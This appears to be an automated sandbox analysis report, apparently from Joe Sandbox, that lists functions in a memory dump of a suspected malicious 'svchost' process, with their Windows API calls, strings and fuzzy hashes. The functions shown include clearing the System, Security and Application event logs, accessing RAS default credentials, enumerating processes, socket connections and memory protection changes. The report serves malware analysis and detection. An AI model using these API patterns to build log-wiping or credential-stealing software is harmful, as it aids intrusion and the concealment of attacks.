Instruction Fuzzy Hash: 61F05E32D0112CAACB04F6E5E852AEE777CAF18308F40402AF850B2192DF2C46488BFD

Function 00414820 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25threadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00414821
GetThreadDesktop.USER32(00000000), ref: 00414828

Part of subcall function 004147D0: OpenDesktopA.USER32(?,00000000,00000000,400001CF), ref: 004147E3

PostMessageA.USER32(0000FFFF,00000312,00000000,002E0003), ref: 00414854

Strings

Winlogon, xrefs: 0041482E

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: DesktopThread$CurrentMessageOpenPost
String ID: Winlogon
API String ID: 1322334875-744610081
Opcode ID: 2ac1919b199f977163ed5c1bf5735925e3316cad71b64ad864a879a032c13eb6
Instruction ID: c37f1258d9961d32f9be5455a8e7620377f696bf98308a423a286bb5512708e1
Opcode Fuzzy Hash: 2ac1919b199f977163ed5c1bf5735925e3316cad71b64ad864a879a032c13eb6
Instruction Fuzzy Hash: 1EE0CDB2FC036013E56137A17C4ABDF21045F82B05F054432F921AB1C3E75C8AD142CE

Function 00403A90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00403AA0
lstrcatA.KERNEL32(?,\Program Files\Internet Explorer\iexplore.exe,?,00000104), ref: 00403AB5
lstrcpyA.KERNEL32(?,?,?,\Program Files\Internet Explorer\iexplore.exe,?,00000104), ref: 00403AC8

Strings

\Program Files\Internet Explorer\iexplore.exe, xrefs: 00403AAA

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: DirectorySystemlstrcatlstrcpy
String ID: \Program Files\Internet Explorer\iexplore.exe
API String ID: 2630975639-1907246925
Opcode ID: 9a89d6208bc361544106d19e200260f7350f0c36cb8a0c4b5be83815ff445008
Instruction ID: 46cc528cc59011382c720e5a579ad6c1fa6ceedc3ba5f4a5e715cfc9d1f37d05
Opcode Fuzzy Hash: 9a89d6208bc361544106d19e200260f7350f0c36cb8a0c4b5be83815ff445008
Instruction Fuzzy Hash: ADE086F4548341FBD710DB94DC89FEA7BA8BB88305F44C91CB6C892190E6B88188C71A

Function 004091C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

OpenEventLogA.ADVAPI32(00000000,System), ref: 004091C8
ClearEventLogA.ADVAPI32(00000000,00000000), ref: 004091D7
CloseEventLog.ADVAPI32(00000000), ref: 004091DE

Strings

System, xrefs: 004091C1

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: System
API String ID: 1391105993-3470857405
Opcode ID: f61e6f64a6370ebf43d4fc179e41c9984c39f82f72ec73414364835a742670d7
Instruction ID: 5058cb73821b13e01b3e5d9dd4a60a0257f5be0f40caddcd2891d0a1d0de8f1e
Opcode Fuzzy Hash: f61e6f64a6370ebf43d4fc179e41c9984c39f82f72ec73414364835a742670d7
Instruction Fuzzy Hash: 7EC01232682631E7D2312B907C4DBCB7E149F09B96F068022FA01751E5CB688D0155EE

Function 004091F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

OpenEventLogA.ADVAPI32(00000000,Security), ref: 004091F8
ClearEventLogA.ADVAPI32(00000000,00000000), ref: 00409207
CloseEventLog.ADVAPI32(00000000), ref: 0040920E

Strings

Security, xrefs: 004091F1

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: Security
API String ID: 1391105993-1022211991
Opcode ID: 0e4a1f6a4ebdd7e8fbbc79889ce03d4e262db1d83992a7478b4834e3c1b71e0d
Instruction ID: eca91679c0e642357e907c870c687468b7c1d2cd6518426234e4d1734e02dd45
Opcode Fuzzy Hash: 0e4a1f6a4ebdd7e8fbbc79889ce03d4e262db1d83992a7478b4834e3c1b71e0d
Instruction Fuzzy Hash: 8FC012326C2630E7C2316BD07C4DBCABE24DF0DB96F064461F905751A0CB68890145FE

Function 00409220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

OpenEventLogA.ADVAPI32(00000000,Application), ref: 00409228
ClearEventLogA.ADVAPI32(00000000,00000000), ref: 00409237
CloseEventLog.ADVAPI32(00000000), ref: 0040923E

Strings

Application, xrefs: 00409221

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: Application
API String ID: 1391105993-583488022
Opcode ID: 0c93b20a483c70b59e3148635c002a749bbff177ef50c8531cf9da92ba51220c
Instruction ID: de289f8f912238005d72f15427147cb80bdf59e1060677c95de1ef4d2cf8729c
Opcode Fuzzy Hash: 0c93b20a483c70b59e3148635c002a749bbff177ef50c8531cf9da92ba51220c
Instruction Fuzzy Hash: DFC01232682630E7C2312BD07C4DBCABE149F09B96F064061F901751A0C768990145EE

Function 00401920 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 1549faeefcf9fcecb957013181cb1ef2041116545b4b52aae1ffccaefeb862cf
Instruction ID: 10ca6369a3765f00f357d4f6bac35cdcfc36b168f16a32aefd1f547747ba55e4
Opcode Fuzzy Hash: 1549faeefcf9fcecb957013181cb1ef2041116545b4b52aae1ffccaefeb862cf
Instruction Fuzzy Hash: BE5195B1A001049BDB14EF65C891BAFB7A9EF88754F00413FFA06BB391DA389905C7D9

Function 0040CA30 Relevance: 6.1, APIs: 4, Instructions: 147COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040CA38
GetCursorPos.USER32(?), ref: 0040CA72
GetCursorInfo.USER32(?), ref: 0040CA93
DestroyCursor.USER32(?), ref: 0040CABC

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Cursor$CountDestroyInfoTick
String ID:
API String ID: 2178836890-0
Opcode ID: 6792dd5aff4f4c40187ed81596880ec2776803daf0fb1384c5582d4f771ab63e
Instruction ID: d2c78e081dfefae8224eace89cd4bfcbd7ce9e55db7911fbf1842eebb5972938
Opcode Fuzzy Hash: 6792dd5aff4f4c40187ed81596880ec2776803daf0fb1384c5582d4f771ab63e
Instruction Fuzzy Hash: 97416271304700DFD724CB29D8D1A6BB3E5BF88714B148A2EE49693791D734F849CBA9

Function 0040AE10 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040AE56

Part of subcall function 0040B320: RegOpenKeyExA.ADVAPI32(?,?,00000000,000F013F,0040AE94,?,0040AE94,00000000), ref: 0040B338

??3@YAXPAX@Z.MSVCRT ref: 0040AEB0
??2@YAPAXI@Z.MSVCRT ref: 0040AEC0
??3@YAXPAX@Z.MSVCRT ref: 0040AF1A

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??2@??3@$Open
String ID:
API String ID: 2374869923-0
Opcode ID: d4bd7c93995b27cac9325522297e32efcae3922443f19fa32281db6abfbe8890
Instruction ID: 116c7055d866d76bfe2ac5793735a72f4f33f6a4165ed75866b1364a28d4b960
Opcode Fuzzy Hash: d4bd7c93995b27cac9325522297e32efcae3922443f19fa32281db6abfbe8890
Instruction Fuzzy Hash: B0312DB274071907C708EE29A85217FB2C6EFC8714B44443EEE06D3341DA3AED1987EA

Function 00406090 Relevance: 6.1, APIs: 4, Instructions: 106libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,00000000,?,00405E27,00000000), ref: 004060BE
LoadLibraryA.KERNEL32(?), ref: 004060DA

Part of subcall function 00405CF0: GetProcessHeap.KERNEL32(00000000,?,?), ref: 00405D00
Part of subcall function 00405CF0: HeapReAlloc.KERNEL32(00000000), ref: 00405D07

GetProcAddress.KERNEL32(00000000,?), ref: 00406148
IsBadReadPtr.KERNEL32(?,00000014), ref: 0040616F

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: HeapRead$AddressAllocLibraryLoadProcProcess
String ID:
API String ID: 2932169029-0
Opcode ID: ee1dd93ed1bbea8ee8d6ce37b38d0797f43761b257f8d6c5482fa4cf4ec77e74
Instruction ID: 8bcd95326187f87ee5a0ad4193ca02dc3d2fb57f7c8586e39e78d25208dd88b0
Opcode Fuzzy Hash: ee1dd93ed1bbea8ee8d6ce37b38d0797f43761b257f8d6c5482fa4cf4ec77e74
Instruction Fuzzy Hash: 7A3194726002069FE720CF19DD80A57B7A4FF44364B16853AE856EB392E735E825CBD4

Function 0040B6D0 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

LocalSize.KERNEL32(00000000), ref: 0040B76C
LocalFree.KERNEL32(00000000,?,?,?,?,0040ACC9,?,00000000), ref: 0040B778
LocalSize.KERNEL32(00000000), ref: 0040B788
LocalFree.KERNEL32(00000000,?,?,?,?,0040ACC9,?,00000000), ref: 0040B794

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Local$FreeSize
String ID:
API String ID: 2726095061-0
Opcode ID: abb079c2e2de1602584e04dee54dc6e3255c64ec1e3295ad79ef845d900debd0
Instruction ID: 1f5e9eb91eea99d151f587f79b50f2bf9ac14c53fc0e9d098303524c5d271acf
Opcode Fuzzy Hash: abb079c2e2de1602584e04dee54dc6e3255c64ec1e3295ad79ef845d900debd0
Instruction Fuzzy Hash: 6A21D13624061447DB28AE389C92A7B6289DBD1321B20013FE902A7382CFBDCD5586DE

Function 004011D0 Relevance: 6.1, APIs: 4, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

ceil.MSVCRT ref: 0040120C
_ftol.MSVCRT ref: 00401214
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004,?,?,?,?,?,?,?,004010A9,00000000,?,00000000), ref: 00401228

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: AllocVirtual_ftolceil
String ID:
API String ID: 3317677364-0
Opcode ID: 52cafaffdd9b02a9de83848ea70069dc59e6f7d0d2fbe9ec4512bacfac1b4e43
Instruction ID: 558f962bae6efc7e8a0cfddb4ff2ebc2e855990d8dba08c1b4d8fed622c70353
Opcode Fuzzy Hash: 52cafaffdd9b02a9de83848ea70069dc59e6f7d0d2fbe9ec4512bacfac1b4e43
Instruction Fuzzy Hash: 1711E4716443008BC704EF29EC82B6BB7E0EBD4361F04C43EFD459B391DA799808CAA9

Function 0040DE80 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0040DEA7
WideCharToMultiByte.KERNEL32(00000000,00000200,?,000000FF,00000000,?,00000000,00000000), ref: 0040DED9
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040DEEC
free.MSVCRT(00000000), ref: 0040DEF3

Part of subcall function 0040A530: SetEvent.KERNEL32(?,0040BEA5), ref: 0040A534

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ByteCharEventFileMultiWideWritefreemalloc
String ID:
API String ID: 2353244469-0
Opcode ID: def2cd512594f886b19b6ba3d2fe433609702b2e0b53fe86e15556c3b7a657b8
Instruction ID: 3f8a408a2d7ca77a34a0fb6e69238cd53d7ff7594ad6057183e42c6debb99cac
Opcode Fuzzy Hash: def2cd512594f886b19b6ba3d2fe433609702b2e0b53fe86e15556c3b7a657b8
Instruction Fuzzy Hash: 390147727446183FE304AA54EC81FAB734DEBD4770F004139F605973C1D669AC0487B9

Function 00401640 Relevance: 6.0, APIs: 4, Instructions: 47synchronizationnetworkCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000,?,00000000,0041B91C,000000FF,0040EA49), ref: 0040167C
CloseHandle.KERNEL32(?), ref: 0040169F
CloseHandle.KERNEL32(?), ref: 004016A8
WSACleanup.WS2_32 ref: 004016AA

Part of subcall function 00401B00: setsockopt.WS2_32(?,0000FFFF,00000080,74DF23A0), ref: 00401B2A
Part of subcall function 00401B00: CancelIo.KERNEL32(?), ref: 00401B37
Part of subcall function 00401B00: InterlockedExchange.KERNEL32(?,00000000), ref: 00401B46
Part of subcall function 00401B00: closesocket.WS2_32(?), ref: 00401B53
Part of subcall function 00401B00: SetEvent.KERNEL32(?), ref: 00401B60

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseHandle$CancelCleanupEventExchangeInterlockedObjectSingleWaitclosesocketsetsockopt
String ID:
API String ID: 136543108-0
Opcode ID: fa045b6fa9a42d632896d8bd3780d11036bf18b512f9b69df7fd127855550a0d
Instruction ID: e7519d3cabb02d2f64a1035a20e17072172aa3b511d2b3d3fc005883472a575b
Opcode Fuzzy Hash: fa045b6fa9a42d632896d8bd3780d11036bf18b512f9b69df7fd127855550a0d
Instruction Fuzzy Hash: 68118231108B819FC311EF28C855B6BB7E4AF85724F004A1EF0E6536D1CBB8A545CBA7

Function 00412240 Relevance: 6.0, APIs: 4, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00412255
Process32First.KERNEL32(00000000,?), ref: 00412262
CloseHandle.KERNEL32(00000000,00000000,?), ref: 004122AB

Part of subcall function 00412090: CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 004120B7
Part of subcall function 00412090: Module32First.KERNEL32(00000000,00000000), ref: 004120CC
Part of subcall function 00412090: lstrcmpiA.KERNEL32(?,?), ref: 004120EB
Part of subcall function 00412090: Module32Next.KERNEL32(00000000,00000000), ref: 004120F7
Part of subcall function 00412090: lstrcmpiA.KERNEL32(?,?), ref: 00412109
Part of subcall function 00412090: CloseHandle.KERNEL32(00000000), ref: 00412114

Process32Next.KERNEL32(00000000,?), ref: 004122A0

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateFirstHandleModule32NextProcess32SnapshotToolhelp32lstrcmpi
String ID:
API String ID: 1584622316-0
Opcode ID: 4921056a0ede558de9c22f6172e7967d9afeedb64ee6d14489d8ef265cba1417
Instruction ID: c94412c025f00ae55ad2ef8faab7a39dcb10ad5dc6780df16ae4db7a939fd1b3
Opcode Fuzzy Hash: 4921056a0ede558de9c22f6172e7967d9afeedb64ee6d14489d8ef265cba1417
Instruction Fuzzy Hash: 2AF0D6724042112AE220A661AD82FFF77ACDF88754F00456EFD44C6141EB3CCC6582B6

Function 00403AE0 Relevance: 6.0, APIs: 4, Instructions: 37networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00403AEA
htons.WS2_32 ref: 00403B12
connect.WS2_32(00000000,?,00000010), ref: 00403B25
closesocket.WS2_32(00000000), ref: 00403B31

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: closesocketconnecthtonssocket
String ID:
API String ID: 3817148366-0
Opcode ID: 5711a145befce18d27e3bf1a24f428d6747bb91b25bf34a8d6bd2b7e830d9892
Instruction ID: 43d573faf243e95f2551cec334ae255a7dfc47b9e9b96d681b8cf1200310cfc0
Opcode Fuzzy Hash: 5711a145befce18d27e3bf1a24f428d6747bb91b25bf34a8d6bd2b7e830d9892
Instruction Fuzzy Hash: A5F0FC305442205BD700EB7C9C86BEB7BE4EF44334F808B19F5B4922E1D274550447DA

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 33stringCOMMON

Download Yara Rule

APIs

WTSQuerySessionInformationA.WTSAPI32(00000000,000000FF,00000005,?,?), ref: 004144CC
??2@YAPAXI@Z.MSVCRT ref: 004144DB
lstrcpyA.KERNEL32(00000000,?,?), ref: 004144EB
WTSFreeMemory.WTSAPI32(?), ref: 004144F6

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??2@FreeInformationMemoryQuerySessionlstrcpy
String ID:
API String ID: 3962793053-0
Opcode ID: 563946204ce4c442c00993eab370beaade7cc8f3cb4791f151ea960a00337e8a
Instruction ID: 7eb14aa20bbad2e14369fe08578e589e0dded110bbe9c649e855e70abf80f7f8
Opcode Fuzzy Hash: 563946204ce4c442c00993eab370beaade7cc8f3cb4791f151ea960a00337e8a
Instruction Fuzzy Hash: E1F082B56042016BD700EB64AD46A9B76D89B84B55F44492DF948C2280F638DD48C7E6

Function 00405F50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,00000000,?,00000000,00000000,?,00405E34,00000000), ref: 00405F9F
VirtualProtect.KERNEL32(?,?,00000018,00000000,00000000,?,00000000,00000000,?,00405E34,00000000), ref: 00405FE9

Strings

4^@, xrefs: 00405F51

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID: 4^@
API String ID: 2581862158-2395448596
Opcode ID: b73043826ce71628e0c51f519c47902219fe4e0291ef5980b134893cc638e5d7
Instruction ID: 6429b9517663964357573549267a97f25535bfc80823163a0b9fa24c02d8c962
Opcode Fuzzy Hash: b73043826ce71628e0c51f519c47902219fe4e0291ef5980b134893cc638e5d7
Instruction Fuzzy Hash: 0E212B716006038FD718DF04C894E7BB3A6EB84304B15416DE902AB385E738FD11CFA4

Function 00401100 Relevance: 5.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,?,00401A1F,?,00000004,00000000,00000004,?,?,?,?,?), ref: 0040110E
LeaveCriticalSection.KERNEL32(?,?,?,?,00401A1F,?,00000004,00000000,00000004,?,?,?,?,?), ref: 00401124
memmove.MSVCRT ref: 00401175
LeaveCriticalSection.KERNEL32(?,00000000,?,?,?,00401A1F,?,00000004,00000000,00000004,?,?,?,?,?), ref: 0040119A

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CriticalSection$Leave$Entermemmove
String ID:
API String ID: 72348100-0
Opcode ID: 03ad502076346c6c09e339bf152c90d824d4cbcd13b4ee227504e8c4a195b9bc
Instruction ID: 398fc85236aedf1fb118fae9db903bd546489e01de1a48f91f2aaedac599479a
Opcode Fuzzy Hash: 03ad502076346c6c09e339bf152c90d824d4cbcd13b4ee227504e8c4a195b9bc
Instruction Fuzzy Hash: 8811BF327012144BCB08BF75AC8546FB798EF48350704857FF902EB392EB78AD0886D8

Function 00405120 Relevance: 5.0, APIs: 4, Instructions: 32stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,?,?,004051B6,?,?,?,L$_RasDefaultCredentials#0), ref: 0040512E
malloc.MSVCRT ref: 00405146
lstrlenA.KERNEL32(?,00000000,4C8D0824,L$_RasDefaultCredentials#0,?,?,?,?,?,?,?,?,00405411,?), ref: 0040515A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,00405411,?), ref: 00405162

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$ByteCharMultiWidemalloc
String ID:
API String ID: 3822420913-0
Opcode ID: 4395c9f89f65d261cf8874a30d21e750b6e6ffea3bd9e53fac4393be1b234f34
Instruction ID: 6c302458b20b56ae6a3e886f1bc679b10a215011130fc1896e5525abfea3b966
Opcode Fuzzy Hash: 4395c9f89f65d261cf8874a30d21e750b6e6ffea3bd9e53fac4393be1b234f34
Instruction Fuzzy Hash: AFF065721842016BF2209B65DC87EBBB3BCEF85B50F04842EF595D3280D768A805C77A

Function 00405CF0 Relevance: 5.0, APIs: 4, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,?), ref: 00405D00
HeapReAlloc.KERNEL32(00000000), ref: 00405D07
GetProcessHeap.KERNEL32(00000000,?), ref: 00405D15
HeapAlloc.KERNEL32(00000000), ref: 00405D1C

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
